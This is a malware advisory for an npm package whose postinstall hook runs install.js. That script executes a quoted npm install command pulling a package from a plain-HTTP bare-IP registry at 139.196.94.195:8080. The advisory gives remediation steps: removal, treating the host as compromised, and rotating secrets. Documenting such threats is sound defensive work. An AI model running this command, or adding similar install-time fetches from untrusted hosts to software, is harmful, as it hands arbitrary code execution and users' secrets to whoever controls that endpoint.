If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (28d0b0e9770a9db54aa03ba508bea0ed1b7ff5fc76ab28a472f09e7a8af088c7)
On install, package.json's postinstall runs node install.js, which reads lib/toolchain.json and executes `npm install @conduit/logview-cli@2.2.0 --registry http://139.196.94.195:8080/dl/npm/` into vendor/. The registry is plain HTTP on a bare IP (139.196.94.195:8080, Alibaba Cloud range) that does not match the publisher infrastructure declared in package.json (repository/homepage/bugs under *.conduit.internal, maintainer platform-ops@conduit.internal). The fetched package is also in a different scope (@conduit) than the host package (@conduitops), compounding dependency-confusion exposure. npm will download and execute whatever that host serves — including any lifecycle scripts of the fetched tarball — with no TLS verification and no integrity check, giving whoever controls that endpoint (or any on-path attacker) arbitrary code execution on the installer at install time.
Source: ghsa-malware (5bc2585015d3f27ad68af44f293432488aafabecb49d62c5a21d28d8578f50e8)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.